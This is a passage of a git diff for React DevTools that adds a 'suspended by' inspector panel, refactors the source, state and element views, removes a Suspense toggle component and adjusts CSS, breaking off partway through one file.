@@ -80,53 +96,27 @@ function CopySourceButton({source, symbolicatedSourcePromise}: Props) {
 
 function FormattedSourceString({source, symbolicatedSourcePromise}: Props) {
   const symbolicatedSource = React.use(symbolicatedSourcePromise);
-  if (symbolicatedSource == null) {
-    const {sourceURL, line} = source;
 
-    return (
-      <div className={styles.SourceOneLiner}>
-        {formatSourceForDisplay(sourceURL, line)}
-      </div>
-    );
-  }
+  const [linkIsEnabled, viewSource] = useOpenResource(
+    source,
+    symbolicatedSource == null ? null : symbolicatedSource.location,
+  );
 
-  const {sourceURL, line} = symbolicatedSource;
+  const [, sourceURL, line, column] =
+    symbolicatedSource == null ? source : symbolicatedSource.location;
 
   return (
-    <div className={styles.SourceOneLiner}>
-      {formatSourceForDisplay(sourceURL, line)}
+    <div
+      className={styles.SourceOneLiner}
+      data-testname="InspectedElementView-FormattedSourceString">
+      <span
+        className={linkIsEnabled ? styles.Link : null}
+        title={sourceURL + ':' + line}
+        onClick={viewSource}>
+        {formatLocationForDisplay(sourceURL, line, column)}
+      </span>
     </div>
   );
 }
 
-// This function is based on describeComponentFrame() in packages/shared/ReactComponentStackFrame
-function formatSourceForDisplay(sourceURL: string, line: number) {
-  // Metro can return JSC-safe URLs, which have `//&` as a delimiter
-  // https://www.npmjs.com/package/jsc-safe-url
-  const sanitizedSourceURL = sourceURL.includes('//&')
-    ? toNormalUrl(sourceURL)
-    : sourceURL;
-
-  // Note: this RegExp doesn't work well with URLs from Metro,
-  // which provides bundle URL with query parameters prefixed with /&
-  const BEFORE_SLASH_RE = /^(.*)[\\\/]/;
-
-  let nameOnly = sanitizedSourceURL.replace(BEFORE_SLASH_RE, '');
-
-  // In DEV, include code for a common special case:
-  // prefer "folder/index.js" instead of just "index.js".
-  if (/^index\./.test(nameOnly)) {
-    const match = sanitizedSourceURL.match(BEFORE_SLASH_RE);
-    if (match) {
-      const pathBeforeSlash = match[1];
-      if (pathBeforeSlash) {
-        const folderName = pathBeforeSlash.replace(BEFORE_SLASH_RE, '');
-        nameOnly = folderName + '/' + nameOnly;
-      }
-    }
-  }
-
-  return `${nameOnly}:${line}`;
-}
-
 export default InspectedElementSourcePanel;
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStateTree.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStateTree.js
index 76e02856b220..7987a720ddb0 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStateTree.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStateTree.js
@@ -16,6 +16,7 @@ import KeyValue from './KeyValue';
 import {alphaSortEntries, serializeDataForCopy} from '../utils';
 import Store from '../../store';
 import styles from './InspectedElementSharedStyles.css';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
 
 import type {InspectedElement} from 'react-devtools-shared/src/frontend/types';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
@@ -35,25 +36,26 @@ export default function InspectedElementStateTree({
   store,
 }: Props): React.Node {
   const {state, type} = inspectedElement;
+  if (state == null) {
+    return null;
+  }
 
   // HostSingleton and HostHoistable may have state that we don't want to expose to users
   const isHostComponent = type === ElementTypeHostComponent;
-
-  const entries = state != null ? Object.entries(state) : null;
-  const isEmpty = entries === null || entries.length === 0;
-
+  const entries = Object.entries(state);
+  const isEmpty = entries.length === 0;
   if (isEmpty || isHostComponent) {
     return null;
   }
 
-  if (entries !== null) {
-    entries.sort(alphaSortEntries);
-  }
-
-  const handleCopy = () => copy(serializeDataForCopy(((state: any): Object)));
+  entries.sort(alphaSortEntries);
+  const handleCopy = withPermissionsCheck(
+    {permissions: ['clipboardWrite']},
+    () => copy(serializeDataForCopy(state)),
+  );
 
   return (
-    <div className={styles.InspectedElementTree}>
+    <div>
       <div className={styles.HeaderRow}>
         <div className={styles.Header}>state</div>
         {!isEmpty && (
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStyleXPlugin.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStyleXPlugin.js
index e4f9c4c4d716..828b11a50c5b 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStyleXPlugin.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementStyleXPlugin.js
@@ -43,7 +43,7 @@ export default function InspectedElementStyleXPlugin({
   const {resolvedStyles, sources} = styleXPlugin;
 
   return (
-    <div className={sharedStyles.InspectedElementTree}>
+    <div>
       <div className={sharedStyles.HeaderRow}>
         <div className={sharedStyles.Header}>stylex</div>
       </div>
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspendedBy.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspendedBy.js
new file mode 100644
index 000000000000..ffcdd7df0ca8
--- /dev/null
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspendedBy.js
@@ -0,0 +1,644 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import {copy} from 'clipboard-js';
+import * as React from 'react';
+import {useState, useTransition} from 'react';
+import Button from '../Button';
+import ButtonIcon from '../ButtonIcon';
+import KeyValue from './KeyValue';
+import {serializeDataForCopy, pluralize} from '../utils';
+import Store from '../../store';
+import styles from './InspectedElementSharedStyles.css';
+import {withPermissionsCheck} from 'react-devtools-shared/src/frontend/utils/withPermissionsCheck';
+import StackTraceView from './StackTraceView';
+import OwnerView from './OwnerView';
+import {meta} from '../../../hydration';
+import useInferredName from '../useInferredName';
+
+import {getClassNameForEnvironment} from '../SuspenseTab/SuspenseEnvironmentColors.js';
+
+import type {
+  InspectedElement,
+  SerializedAsyncInfo,
+} from 'react-devtools-shared/src/frontend/types';
+import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
+
+import {
+  UNKNOWN_SUSPENDERS_NONE,
+  UNKNOWN_SUSPENDERS_REASON_PRODUCTION,
+  UNKNOWN_SUSPENDERS_REASON_OLD_VERSION,
+  UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE,
+} from '../../../constants';
+import {ElementTypeRoot} from 'react-devtools-shared/src/frontend/types';
+
+type RowProps = {
+  bridge: FrontendBridge,
+  element: Element,
+  inspectedElement: InspectedElement,
+  store: Store,
+  asyncInfo: SerializedAsyncInfo,
+  index: number,
+  minTime: number,
+  maxTime: number,
+  skipName?: boolean,
+};
+
+function getShortDescription(name: string, description: string): string {
+  const descMaxLength = 30 - name.length;
+  if (descMaxLength > 1) {
+    const l = description.length;
+    if (l > 0 && l <= descMaxLength) {
+      // We can fit the full description
+      return description;
+    } else if (
+      description.startsWith('http://') ||
+      description.startsWith('https://') ||
+      description.startsWith('/')
+    ) {
+      // Looks like a URL. Let's see if we can extract something shorter.
+      // We don't have to do a full parse so let's try something cheaper.
+      let queryIdx = description.indexOf('?');
+      if (queryIdx === -1) {
+        queryIdx = description.length;
+      }
+      if (description.charCodeAt(queryIdx - 1) === 47 /* "/" */) {
+        // Ends with slash. Look before that.
+        queryIdx--;
+      }
+      const slashIdx = description.lastIndexOf('/', queryIdx - 1);
+      // This may now be either the file name or the host.
+      // Include the slash to make it more obvious what we trimmed.
+      return '…' + description.slice(slashIdx, queryIdx);
+    }
+  }
+  return '';
+}
+
+function formatBytes(bytes: number) {
+  if (bytes < 1_000) {
+    return bytes + ' bytes';
+  }
+  if (bytes < 1_000_000) {
+    return (bytes / 1_000).toFixed(1) + ' kB';
+  }
+  if (bytes < 1_000_000_000) {
+    return (bytes / 1_000_000).toFixed(1) + ' mB';
+  }
+  return (bytes / 1_000_000_000).toFixed(1) + ' gB';
+}
+
+function SuspendedByRow({
+  bridge,
+  element,
+  inspectedElement,
+  store,
+  asyncInfo,
+  index,
+  minTime,
+  maxTime,
+  skipName,
+}: RowProps) {
+  const [isOpen, setIsOpen] = useState(false);
+  const [openIsPending, startOpenTransition] = useTransition();
+  const ioInfo = asyncInfo.awaited;
+  const name = useInferredName(asyncInfo);
+  const description = ioInfo.description;
+  const longName = description === '' ? name : name + ' (' + description + ')';
+  const shortDescription = getShortDescription(name, description);
+  const start = ioInfo.start;
+  const end = ioInfo.end;
+  const timeScale = 100 / (maxTime - minTime);
+  let left = (start - minTime) * timeScale;
+  let width = (end - start) * timeScale;
+  if (width < 5) {
+    // Use at least a 5% width to avoid showing too small indicators.
+    width = 5;
+    if (left > 95) {
+      left = 95;
+    }
+  }
+
+  const ioOwner = ioInfo.owner;
+  const asyncOwner = asyncInfo.owner;
+  const showIOStack = ioInfo.stack !== null && ioInfo.stack.length !== 0;
+  // Only show the awaited stack if the I/O started in a different owner
+  // than where it was awaited. If it's started by the same component it's
+  // probably easy enough to infer and less noise in the common case.
+  const canShowAwaitStack =
+    (asyncInfo.stack !== null && asyncInfo.stack.length > 0) ||
+    (asyncOwner !== null && asyncOwner.id !== inspectedElement.id);
+  const showAwaitStack =
+    canShowAwaitStack &&
+    (!showIOStack ||
+      (ioOwner === null
+        ? asyncOwner !== null
+        : asyncOwner === null || ioOwner.id !== asyncOwner.id));
+
+  const value: any = ioInfo.value;
+  const metaName =
+    value !== null && typeof value === 'object' ? value[meta.name] : null;
+  const isFulfilled = metaName === 'fulfilled Thenable';
+  const isRejected = metaName === 'rejected Thenable';
+  return (
+    <div className={styles.CollapsableRow}>
+      <Button
+        className={styles.CollapsableHeader}
+        // TODO: May be better to leave to React's default Transition indicator.
+        // Though no apps implement this option at the moment.
+        data-pending={openIsPending}
+        onClick={() => {
+          startOpenTransition(() => {
+            setIsOpen(prevIsOpen => !prevIsOpen);
+          });
+        }}
+        // Changing the title on pending transition will not be visible since
+        // (Reach?) tooltips are dismissed on activation.
+        title={
+          longName +
+          ' — ' +
+          (end - start).toFixed(2) +
+          ' ms' +
+          (ioInfo.byteSize != null ? ' — ' + formatBytes(ioInfo.byteSize) : '')
+        }>
+        <ButtonIcon
+          className={styles.CollapsableHeaderIcon}
+          type={isOpen ? 'expanded' : 'collapsed'}
+        />
+        <span className={styles.CollapsableHeaderTitle}>
+          {skipName && shortDescription !== '' ? shortDescription : name}
+        </span>
+        {skipName || shortDescription === '' ? null : (
+          <>
+            <span className={styles.CollapsableHeaderSeparator}>{' ('}</span>
+            <span className={styles.CollapsableHeaderTitle}>
+              {shortDescription}
+            </span>
+            <span className={styles.CollapsableHeaderSeparator}>{') '}</span>
+          </>
+        )}
+        <div className={styles.CollapsableHeaderFiller} />
+        <div
+          className={
+            styles.TimeBarContainer +
+            ' ' +
+            getClassNameForEnvironment(ioInfo.env)
+          }>
+          <div
+            className={
+              !isRejected ? styles.TimeBarSpan : styles.TimeBarSpanErrored
+            }
+            style={{
+              left: left.toFixed(2) + '%',
+              width: width.toFixed(2) + '%',
+            }}
+          />
+        </div>
+      </Button>
+      {isOpen && (
+        <div className={styles.CollapsableContent}>
+          {showIOStack && (
+            <StackTraceView
+              stack={ioInfo.stack}
+              environmentName={
+                ioOwner !== null && ioOwner.env === ioInfo.env
+                  ? null
+                  : ioInfo.env
+              }
+            />
+          )}
+          {ioOwner !== null &&
+          ioOwner.id !== inspectedElement.id &&
+          (showIOStack ||
+            !showAwaitStack ||
+            asyncOwner === null ||
+            ioOwner.id !== asyncOwner.id) ? (
+            <OwnerView
+              key={ioOwner.id}
+              displayName={ioOwner.displayName || 'Anonymous'}
+              environmentName={
+                ioOwner.env === inspectedElement.env &&
+                ioOwner.env === ioInfo.env
+                  ? null
+                  : ioOwner.env
+              }
+              hocDisplayNames={ioOwner.hocDisplayNames}
+              compiledWithForget={ioOwner.compiledWithForget}
+              id={ioOwner.id}
+              isInStore={store.containsElement(ioOwner.id)}
+              type={ioOwner.type}
+            />
+          ) : null}
+          {showAwaitStack ? (
+            <>
+              <div className={styles.SmallHeader}>awaited at:</div>
+              {asyncInfo.stack !== null && asyncInfo.stack.length > 0 && (
+                <StackTraceView
+                  stack={asyncInfo.stack}
+                  environmentName={
+                    asyncOwner !== null && asyncOwner.env === asyncInfo.env
+                      ? null
+                      : asyncInfo.env
+                  }
+                />
+              )}
+              {asyncOwner !== null && asyncOwner.id !== inspectedElement.id ? (
+                <OwnerView
+                  key={asyncOwner.id}
+                  displayName={asyncOwner.displayName || 'Anonymous'}
+                  environmentName={
+                    asyncOwner.env === inspectedElement.env &&
+                    asyncOwner.env === asyncInfo.env
+                      ? null
+                      : asyncOwner.env
+                  }
+                  hocDisplayNames={asyncOwner.hocDisplayNames}
+                  compiledWithForget={asyncOwner.compiledWithForget}
+                  id={asyncOwner.id}
+                  isInStore={store.containsElement(asyncOwner.id)}
+                  type={asyncOwner.type}
+                />
+              ) : null}
+            </>
+          ) : null}
+          <div className={styles.PreviewContainer}>
+            <KeyValue
+              alphaSort={true}
+              bridge={bridge}
+              canDeletePaths={false}
+              canEditValues={false}
+              canRenamePaths={false}
+              depth={1}
+              element={element}
+              hidden={false}
+              inspectedElement={inspectedElement}
+              name={
+                isFulfilled
+                  ? 'awaited value'
+                  : isRejected
+                    ? 'rejected with'
+                    : 'pending value'
+              }
+              path={
+                isFulfilled
+                  ? [index, 'awaited', 'value', 'value']
+                  : isRejected
+                    ? [index, 'awaited', 'value', 'reason']
+                    : [index, 'awaited', 'value']
+              }
+              pathRoot="suspendedBy"
+              store={store}
+              value={
+                isFulfilled ? value.value : isRejected ? value.reason : value
+              }
+            />
+          </div>
+        </div>
+      )}
+    </div>
+  );
+}
+
+type Props = {
+  bridge: FrontendBridge,
+  element: Element,
+  inspectedElement: InspectedElement,
+  store: Store,
+};
+
+function withIndex(
+  value: SerializedAsyncInfo,
+  index: number,
+): {
+  index: number,
+  value: SerializedAsyncInfo,
+} {
+  return {
+    index,
+    value,
+  };
+}
+
+function compareTime(
+  a: {
+    index: number,
+    value: SerializedAsyncInfo,
+  },
+  b: {
+    index: number,
+    value: SerializedAsyncInfo,
+  },
+): number {
+  const ioA = a.value.awaited;
+  const ioB = b.value.awaited;
+  if (ioA.start === ioB.start) {
+    return ioA.end - ioB.end;
+  }
+  return ioA.start - ioB.start;
+}
+
+type GroupProps = {
+  bridge: FrontendBridge,
+  element: Element,
+  inspectedElement: InspectedElement,
+  store: Store,
+  name: string,
+  environment: null | string,
+  suspendedBy: Array<{
+    index: number,
+    value: SerializedAsyncInfo,
+  }>,
+  minTime: number,
+  maxTime: number,
+};
+
+function SuspendedByGroup({
+  bridge,
+  element,
+  inspectedElement,
+  store,
+  name,
+  environment,
+  suspendedBy,
+  minTime,
+  maxTime,
+}: GroupProps) {
+  const [isOpen, setIsOpen] = useState(false);
+  let start = Infinity;
+  let end = -Infinity;
+  let isRejected = false;
+  for (let i = 0; i < suspendedBy.length; i++) {
+    const asyncInfo: SerializedAsyncInfo = suspendedBy[i].value;
+    const ioInfo = asyncInfo.awaited;
+    if (ioInfo.start < start) {
+      start = ioInfo.start;
+    }
+    if (ioInfo.end > end) {
+      end = ioInfo.end;
+    }
+    const value: any = ioInfo.value;
+    if (
+      value !== null &&
+      typeof value === 'object' &&
+      value[meta.name] === 'rejected Thenable'
+    ) {
+      isRejected = true;
+    }
+  }
+  const timeScale = 100 / (maxTime - minTime);
+  let left = (start - minTime) * timeScale;
+  let width = (end - start) * timeScale;
+  if (width < 5) {
+    // Use at least a 5% width to avoid showing too small indicators.
+    width = 5;
+    if (left > 95) {
+      left = 95;
+    }
+  }
+  const pluralizedName = pluralize(name);
+  return (
+    <div className={styles.CollapsableRow}>
+      <Button
+        className={styles.CollapsableHeader}
+        onClick={() => {
+          setIsOpen(prevIsOpen => !prevIsOpen);
+        }}
+        title={pluralizedName}>
+        <ButtonIcon
+          className={styles.CollapsableHeaderIcon}
+          type={isOpen ? 'expanded' : 'collapsed'}
+        />
+        <span className={styles.CollapsableHeaderTitle}>{pluralizedName}</span>
+        <div className={styles.CollapsableHeaderFiller} />
+        {isOpen ? null : (
+          <div
+            className={
+              styles.TimeBarContainer +
+              ' ' +
+              getClassNameForEnvironment(environment)
+            }>
+            <div
+              className={
+                !isRejected ? styles.TimeBarSpan : styles.TimeBarSpanErrored
+              }
+              style={{
+                left: left.toFixed(2) + '%',
+                width: width.toFixed(2) + '%',
+              }}
+            />
+          </div>
+        )}
+      </Button>
+      {isOpen &&
+        suspendedBy.map(({value, index}) => (
+          <SuspendedByRow
+            key={index}
+            index={index}
+            asyncInfo={value}
+            bridge={bridge}
+            element={element}
+            inspectedElement={inspectedElement}
+            store={store}
+            minTime={minTime}
+            maxTime={maxTime}
+            skipName={true}
+          />
+        ))}
+    </div>
+  );
+}
+
+export default function InspectedElementSuspendedBy({
+  bridge,
+  element,
+  inspectedElement,
+  store,
+}: Props): React.Node {
+  const {suspendedBy, suspendedByRange} = inspectedElement;
+
+  // Skip the section if nothing suspended this component.
+  if (
+    (suspendedBy == null || suspendedBy.length === 0) &&
+    inspectedElement.unknownSuspenders === UNKNOWN_SUSPENDERS_NONE
+  ) {
+    if (inspectedElement.isSuspended) {
+      // If we're still suspended, show a place holder until the data loads.
+      // We don't know what we're suspended by until it has loaded.
+      return (
+        <div>
+          <div className={styles.HeaderRow}>
+            <div className={styles.Header}>suspended...</div>
+          </div>
+        </div>
+      );
+    }
+    // For roots, show an empty state since there's nothing else to show for
+    // these elements.
+    // This can happen for older versions of React without Suspense, older versions
+    // of React with less sources for Suspense, or simple UIs that don't have any suspenders.
+    if (inspectedElement.type === ElementTypeRoot) {
+      return (
+        <div>
+          <div className={styles.HeaderRow}>
+            <div className={`${styles.Header} ${styles.Empty}`}>
+              Nothing suspended the initial paint.
+            </div>
+          </div>
+        </div>
+      );
+    }
+  }
+
+  const handleCopy = withPermissionsCheck(
+    {permissions: ['clipboardWrite']},
+    () => copy(serializeDataForCopy(suspendedBy)),
+  );
+
+  let minTime = Infinity;
+  let maxTime = -Infinity;
+  if (suspendedByRange !== null) {
+    // The range of the whole suspense boundary.
+    minTime = suspendedByRange[0];
+    maxTime = suspendedByRange[1];
+  }
+  for (let i = 0; i < suspendedBy.length; i++) {
+    const asyncInfo: SerializedAsyncInfo = suspendedBy[i];
+    if (asyncInfo.awaited.start < minTime) {
+      minTime = asyncInfo.awaited.start;
+    }
+    if (asyncInfo.awaited.end > maxTime) {
+      maxTime = asyncInfo.awaited.end;
+    }
+  }
+
+  if (maxTime - minTime < 25) {
+    // Stretch the time span a bit to ensure that we don't show
+    // large bars that represent very small timespans.
+    minTime = maxTime - 25;
+  }
+
+  const sortedSuspendedBy =
+    suspendedBy === null ? [] : suspendedBy.map(withIndex);
+  sortedSuspendedBy.sort(compareTime);
+
+  // Organize into groups of consecutive entries with the same name.
+  const groups = [];
+  let currentGroup = null;
+  let currentGroupName = null;
+  let currentGroupEnv = null;
+  for (let i = 0; i < sortedSuspendedBy.length; i++) {
+    const entry = sortedSuspendedBy[i];
+    const name = entry.value.awaited.name;
+    const env = entry.value.awaited.env;
+    if (
+      currentGroupName !== name ||
+      currentGroupEnv !== env ||
+      !name ||
+      name === 'Promise' ||
+      currentGroup === null
+    ) {
+      // Create a new group.
+      currentGroupName = name;
+      currentGroupEnv = env;
+      currentGroup = [];
+      groups.push(currentGroup);
+    }
+    currentGroup.push(entry);
+  }
+
+  let unknownSuspenders = null;
+  switch (inspectedElement.unknownSuspenders) {
+    case UNKNOWN_SUSPENDERS_REASON_PRODUCTION:
+      unknownSuspenders = (
+        <div className={styles.InfoRow}>
+          Something suspended but we don't know the exact reason in production
+          builds of React. Test this in development mode to see exactly what
+          might suspend.
+        </div>
+      );
+      break;
+    case UNKNOWN_SUSPENDERS_REASON_OLD_VERSION:
+      unknownSuspenders = (
+        <div className={styles.InfoRow}>
+          Something suspended but we don't track all the necessary information
+          in older versions of React. Upgrade to the latest version of React to
+          see exactly what might suspend.
+        </div>
+      );
+      break;
+    case UNKNOWN_SUSPENDERS_REASON_THROWN_PROMISE:
+      unknownSuspenders = (
+        <div className={styles.InfoRow}>
+          Something threw a Promise to suspend this boundary. It's likely an
+          outdated version of a library that doesn't yet fully take advantage of
+          use(). Upgrade your data fetching library to see exactly what might
+          suspend.
+        </div>
+      );
+      break;
+  }
+
+  if (groups.length === 0) {
+    return null;
+  }
+  return (
+    <div>
+      <div className={styles.HeaderRow}>
+        <div className={styles.Header}>suspended by</div>
+        <Button onClick={handleCopy} title="Copy to clipboard">
+          <ButtonIcon type="copy" />
+        </Button>
+      </div>
+      {groups.length === 1
+        ? // If it's only one type of suspender we can flatten it.
+          groups[0].map(entry => (
+            <SuspendedByRow
+              key={entry.index}
+              index={entry.index}
+              asyncInfo={entry.value}
+              bridge={bridge}
+              element={element}
+              inspectedElement={inspectedElement}
+              store={store}
+              minTime={minTime}
+              maxTime={maxTime}
+            />
+          ))
+        : groups.map((entries, index) =>
+            entries.length === 1 ? (
+              <SuspendedByRow
+                key={entries[0].index}
+                index={entries[0].index}
+                asyncInfo={entries[0].value}
+                bridge={bridge}
+                element={element}
+                inspectedElement={inspectedElement}
+                store={store}
+                minTime={minTime}
+                maxTime={maxTime}
+              />
+            ) : (
+              <SuspendedByGroup
+                key={entries[0].index}
+                name={entries[0].value.awaited.name}
+                environment={entries[0].value.awaited.env}
+                suspendedBy={entries}
+                bridge={bridge}
+                element={element}
+                inspectedElement={inspectedElement}
+                store={store}
+                minTime={minTime}
+                maxTime={maxTime}
+              />
+            ),
+          )}
+      {unknownSuspenders}
+    </div>
+  );
+}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspenseToggle.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspenseToggle.js
deleted file mode 100644
index 4b60af34dfb6..000000000000
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementSuspenseToggle.js
+++ /dev/null
@@ -1,74 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import * as React from 'react';
-import {OptionsContext} from '../context';
-import EditableValue from './EditableValue';
-import Store from '../../store';
-import {ElementTypeSuspense} from 'react-devtools-shared/src/frontend/types';
-import styles from './InspectedElementSharedStyles.css';
-
-import type {InspectedElement} from 'react-devtools-shared/src/frontend/types';
-import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
-
-type Props = {
-  bridge: FrontendBridge,
-  inspectedElement: InspectedElement,
-  store: Store,
-};
-
-export default function InspectedElementSuspenseToggle({
-  bridge,
-  inspectedElement,
-  store,
-}: Props): React.Node {
-  const {readOnly} = React.useContext(OptionsContext);
-
-  const {id, state, type} = inspectedElement;
-  const canToggleSuspense = !readOnly && inspectedElement.canToggleSuspense;
-
-  if (type !== ElementTypeSuspense) {
-    return null;
-  }
-
-  const isSuspended = state !== null;
-
-  const toggleSuspense = (path: any, value: boolean) => {
-    const rendererID = store.getRendererIDForElement(id);
-    if (rendererID !== null) {
-      bridge.send('overrideSuspense', {
-        id,
-        rendererID,
-        forceFallback: value,
-      });
-    }
-  };
-
-  return (
-    <div className={styles.InspectedElementTree}>
-      <div className={styles.HeaderRow}>
-        <div className={styles.Header}>suspense</div>
-      </div>
-      <div className={styles.ToggleSuspenseRow}>
-        <span className={styles.Name}>Suspended</span>
-        {canToggleSuspense ? (
-          // key is required to keep <EditableValue> and header row toggle button in sync
-          <EditableValue
-            key={isSuspended}
-            overrideValue={toggleSuspense}
-            path={['suspense', 'Suspended']}
-            value={isSuspended}
-          />
-        ) : (
-          <span className={styles.Value}>{isSuspended ? 'true' : 'false'}</span>
-        )}
-      </div>
-    </div>
-  );
-}
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.css b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.css
index ac8e2729661e..12c20cc95483 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.css
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.css
@@ -1,22 +1,7 @@
-.Owners {
-  padding: 0.25rem;
-  border-top: 1px solid var(--color-border);
-}
-
 .OwnersHeader {
   font-family: var(--font-family-sans);
 }
 
-.Owner {
-  color: var(--color-component-name);
-  font-family: var(--font-family-monospace);
-  font-size: var(--font-size-monospace-normal);
-  white-space: nowrap;
-  overflow: hidden;
-  text-overflow: ellipsis;
-  max-width: 100%;
-}
-
 .InspectedElement {
   overflow-x: hidden;
   overflow-y: auto;
@@ -25,44 +10,12 @@
   line-height: var(--line-height-data);
 }
 
-.InspectedElementBadgesContainer:not(:empty) {
+.InspectedElementSection:not(:empty) {
   padding: 0.25rem;
-  border-bottom: 1px solid var(--color-border);
-}
 
-.Owner {
-  border-radius: 0.25rem;
-  padding: 0.125rem 0.25rem;
-  background: none;
-  border: none;
-  display: block;
-}
-.Owner:focus {
-  outline: none;
-  background-color: var(--color-button-background-focus);
-}
-
-.NotInStore {
-  color: var(--color-dim);
-  cursor: default;
-}
-
-.OwnerButton {
-  cursor: pointer;
-  width: 100%;
-  padding: 0;
-}
-
-.OwnerContent {
-  display: flex;
-  align-items: center;
-  padding-left: 1rem;
-  width: 100%;
-  border-radius: 0.25rem;
-}
-
-.OwnerContent:hover {
-  background-color: var(--color-background-hover);
+  &:not(:last-of-type) {
+    border-bottom: 1px solid var(--color-border);
+  }
 }
 
 .OwnersMetaField {
@@ -71,3 +24,7 @@
   overflow: hidden;
   text-overflow: ellipsis;
 }
+
+.RenderedBySkeleton {
+  padding-left: 1.25rem;
+}
\ No newline at end of file
diff --git a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.js b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.js
index ad1606c78e42..6d3d0d604fd4 100644
--- a/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.js
+++ b/packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.js
@@ -8,10 +8,8 @@
  */
 
 import * as React from 'react';
-import {Fragment, useCallback, useContext} from 'react';
-import {TreeDispatcherContext} from './TreeContext';
+import {Fragment, useContext} from 'react';
 import {BridgeContext, StoreContext} from '../context';
-import Button from '../Button';
 import InspectedElementBadges from './InspectedElementBadges';
 import InspectedElementContextTree from './InspectedElementContextTree';
 import InspectedElementErrorsAndWarningsTree from './InspectedElementErrorsAndWarningsTree';
@@ -19,13 +17,17 @@ import InspectedElementHooksTree from './InspectedElementHooksTree';
 import InspectedElementPropsTree from './InspectedElementPropsTree';
 import InspectedElementStateTree from './InspectedElementStateTree';
 import InspectedElementStyleXPlugin from './InspectedElementStyleXPlugin';
-import InspectedElementSuspenseToggle from './InspectedElementSuspenseToggle';
+import InspectedElementSuspendedBy from './InspectedElementSuspendedBy';
 import NativeStyleEditor from './NativeStyleEditor';
-import ElementBadges from './ElementBadges';
-import {useHighlightNativeElement} from '../hooks';
 import {enableStyleXFeatures} from 'react-devtools-feature-flags';
-import {logEvent} from 'react-devtools-shared/src/Logger';
 import InspectedElementSourcePanel from './InspectedElementSourcePanel';
+import StackTraceView from './StackTraceView';
+import OwnerView from './OwnerView';
+import Skeleton from './Skeleton';
+import {
+  ElementTypeSuspense,
+  ElementTypeActivity,
+} from 'react-devtools-shared/src/frontend/types';
 
 import styles from './InspectedElementView.css';
 
@@ -35,7 +37,7 @@ import type {
 } from 'react-devtools-shared/src/frontend/types';
 import type {HookNames} from 'react-devtools-shared/src/frontend/types';
 import type {ToggleParseHookNames} from './InspectedElementContext';
-import type {Source} from 'react-devtools-shared/src/shared/types';
+import type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';
 
 type Props = {
   element: Element,
@@ -43,7 +45,7 @@ type Props = {
   inspectedElement: InspectedElement,
   parseHookNames: boolean,
   toggleParseHookNames: ToggleParseHookNames,
-  symbolicatedSourcePromise: Promise<Source | null>,
+  symbolicatedSourcePromise: Promise<SourceMappedLocation | null>,
 };
 
 export default function InspectedElementView({
@@ -54,8 +56,16 @@ export default function InspectedElementView({
   toggleParseHookNames,
   symbolicatedSourcePromise,
 }: Props): React.Node {
-  const {owners, rendererPackageName, rendererVersion, rootType, source} =
-    inspectedElement;
+  const {
+    stack,
+    owners,
+    rendererPackageName,
+    rendererVersion,
+    rootType,
+    source,
+    nativeTag,
+    type,
+  } = inspectedElement;
 
   const bridge = useContext(BridgeContext);
   const store = useContext(StoreContext);
@@ -65,163 +75,160 @@ export default function InspectedElementView({
       ? `${rendererPackageName}@${rendererVersion}`
       : null;
   const showOwnersList = owners !== null && owners.length > 0;
+  const showStack = stack != null && stack.length > 0;
   const showRenderedBy =
-    showOwnersList || rendererLabel !== null || rootType !== null;
+    showStack || showOwnersList || rendererLabel !== null || rootType !== null;
+
+  const propsSection = (
+    <div className={styles.InspectedElementSection}>
+      <InspectedElementPropsTree
+        bridge={bridge}
+        element={element}
+        inspectedElement={inspectedElement}
+        store={store}
+      />
+    </div>
+  );
 
   return (
     <Fragment>
       <div className={styles.InspectedElement}>
-        <div className={styles.InspectedElementBadgesContainer}>
+        <div className={styles.InspectedElementSection}>
           <InspectedElementBadges
             hocDisplayNames={element.hocDisplayNames}
             compiledWithForget={element.compiledWithForget}
+            nativeTag={nativeTag}
           />
         </div>
 
-        <InspectedElementPropsTree
-          bridge={bridge}
-          element={element}
-          inspectedElement={inspectedElement}
-          store={store}
-        />
-
-        <InspectedElementSuspenseToggle
-          bridge={bridge}
-          inspectedElement={inspectedElement}
-          store={store}
-        />
-
-        <InspectedElementStateTree
-          bridge={bridge}
-          element={element}
-          inspectedElement={inspectedElement}
-          store={store}
-        />
-
-        <InspectedElementHooksTree
-          bridge={bridge}
-          element={element}
-          hookNames={hookNames}
-          inspectedElement={inspectedElement}
-          parseHookNames={parseHookNames}
-          store={store}
-          toggleParseHookNames={toggleParseHookNames}
-        />
-
